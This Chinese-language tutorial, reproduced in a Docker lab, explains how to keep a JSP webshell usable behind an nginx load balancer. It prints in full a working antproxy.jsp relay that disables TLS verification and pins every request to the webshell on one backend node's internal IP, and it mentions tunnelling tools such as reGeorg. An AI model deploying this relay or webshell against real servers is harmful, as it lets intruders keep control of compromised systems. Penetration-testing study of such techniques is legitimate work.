首頁 > 軟體

nginx負載均衡下的webshell上傳的實現

2023-03-05 14:04:36

場景描述

假定在真實生產環境中,存在一個RCE漏洞,可以讓我們獲取WebShell

環境的安裝

首先在GetHub上拉去漏洞的映象前,需提前在centos上安裝nginx和tomcat以及設定好nginx以及tomcat的相關組態檔,在使用docker將映象拉取下來,進行漏洞的復現。

1、先將docker環境搭建起來

2、測試tomcat是否可以存取

 根據上圖可以看出,後端的tomcat是可以存取的

3、檢視docker中nginx反向代理的負載均衡

4、檢視docker中lbsnode1中的ant.jsp檔案

此檔案可以理解為一句話木馬,在lbsnode2中也是存有相同的檔案

lbsnode1:

 lbsnode2:

5、通過中國蟻劍來連線ant.jsp檔案

 因為兩臺節點都在相同的位置存在 ant.jsp,所以連線的時候也沒出現什麼異常

復現過程

存在的問題

問題一:由於nginx採用的反向代理是輪詢的方式,所以上傳檔案必須在兩臺後端伺服器的相同位置上傳相同的檔案

因為我們是反向代理的負載均衡,就存在上傳檔案出現一臺後端伺服器上有我們上傳的檔案,另一臺伺服器上沒有我們上傳的檔案,出現的結果就是,一旦一臺伺服器上沒有,那麼在請求輪到這臺伺服器的時候,就會報出404的錯誤,從而影響使用,這也就是一會出現正常,一會出現錯誤的原因。

解決方案:

我們需要在每一臺節點的相同位置都上傳相同內容的WebShell,從而實現無論是輪詢到哪臺伺服器上都可以存取到我們的後端伺服器上。實現每一臺後端伺服器上都有上傳的檔案,就需要瘋狂上傳。

問題二:我們在執行命令時,無法知道下次的請求交給哪臺機器去執行

我們在執行hostname -i檢視當前執行機器的IP時,可以看到IP地址一直在漂移

問題三:當我們需要上傳一些較大的工具時,會造成工具無法使用的情況

當我們上傳一個較大的檔案時,由於AntSword上傳檔案時,採用的是分片上傳方式,把一個檔案分成了多次HTTP請求傳送給目標,造成檔案的一部分內容在A這臺伺服器上,另一部分檔案在B這臺伺服器上,從而使得較大的工具或者檔案無法開啟或者使用

問題四:由於目標主機不能出外網,想要進一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在這個場景下,這些 tunnel 指令碼全部都失靈了。

解決方案

方案一:關掉其中的一臺後端伺服器

關閉後端其中的一臺伺服器確實能夠解決上述的四種問題,但是這個方案實在是“老壽星上吊---活膩了”,影響業務,還會造成災難,直接Pass不考慮

綜合評價:真是環境下千萬不要嘗試!!!

方案二:在程式執行前先判斷要不要執行

既然無法預測下一次是哪臺機器去執行,那我們的shell在執行Payload之前,先判斷一下要不要執行不就可以了。

首次按建立一個指令碼demo.sh,該指令碼是獲取我們的後端其中一臺伺服器的地址,匹配到這臺伺服器的地址才進行程式的執行,匹配到另一臺伺服器則不進行程式的執行。

通過中國蟻劍將demo.sh指令碼檔案上傳到後端的兩臺伺服器上,因為是負載均衡,所以需要瘋狂點選上傳

 這樣一來,確實能夠保證執行的命令是在我們想要的機器上了,可是這樣執行命令,沒有一絲美感,另外,大檔案上傳、HTTP隧道這些問題也沒有解決。

綜合評價:該方案勉強能用,僅適合在執行命令的時候用,不夠優雅。

方案三:在Web層做一次HTTP流量的轉發(重點)

沒錯,我們用 AntSword 沒法直接存取 LBSNode1 內網IP(172.23.0.2)的 8080 埠,但是有人能存取呀,除了 nginx 能存取之外,LBSNode2 這臺機器也是可以存取 Node1 這臺機器的 8080 埠的。

還記不記得 「PHP Bypass Disable Function」 這個外掛,我們在這個外掛載入 so 之後,本地啟動了一個 httpserver,然後我們用到了 HTTP 層面的流量轉發指令碼 「antproxy.php」, 我們放在這個場景下看:

 我們一步一步來看這個圖,我們的目的是:所有的封包都能發給「LBSNode 1」這臺機器

首先是 第 1 步,我們請求 /antproxy.jsp,這個請求發給 nginx

nginx 接到封包之後,會有兩種情況:

我們先看黑色線,第 2 步把請求傳遞給了目標機器,請求了 Node1 機器上的 /antproxy.jsp,接著 第 3 步,/antproxy.jsp 把請求重組之後,傳給了 Node1 機器上的 /ant.jsp,成功執行。

再來看紅色線,第 2 步把請求傳給了 Node2 機器, 接著第 3 步,Node2 機器上面的 /antproxy.jsp 把請求重組之後,傳給了 Node1 的 /ant.jsp,成功執行。

1、建立 antproxy.jsp 指令碼

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2、修改轉發地址,轉向目標 Node 的內網IP的 目標指令碼 存取地址。

注意:不僅僅是 WebShell 喲,還可以改成 reGeorg 等指令碼的存取地址

我們將 target 指向了 LBSNode1 的 ant.jsp

注意:

a) 不要使用上傳功能,上傳功能會分片上傳,導致分散在不同 Node 上。

b) 要保證每一臺 Node 上都有相同路徑的 antproxy.jsp, 所以我瘋狂儲存了很多次,保證每一臺都上傳了指令碼

3、 修改 Shell 設定, 將 URL 部分填寫為 antproxy.jsp 的地址,其它設定不變

4、 測試執行命令, 檢視 IP

 可以看到 IP 已經固定, 意味著請求已經固定到了 LBSNode1 這臺機器上了。此時使用分片上傳、HTTP 代理,都已經跟單機的情況沒什麼區別了

該方案的優點:

1、低許可權就可以完成,如果許可權高的話,還可以通過埠層面直接轉發,不過這跟 Plan A 的關服務就沒啥區別了

2、流量上,隻影響存取 WebShell 的請求,其它的正常業務請求不會影響。

3、適配更多工具

缺點:

該方案需要「目標 Node」和「其它 Node」 之間內網互通,如果不互通就涼了。

到此這篇關於nginx負載均衡下的webshell上傳的實現的文章就介紹到這了,更多相關nginx負載均衡webshell上傳內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com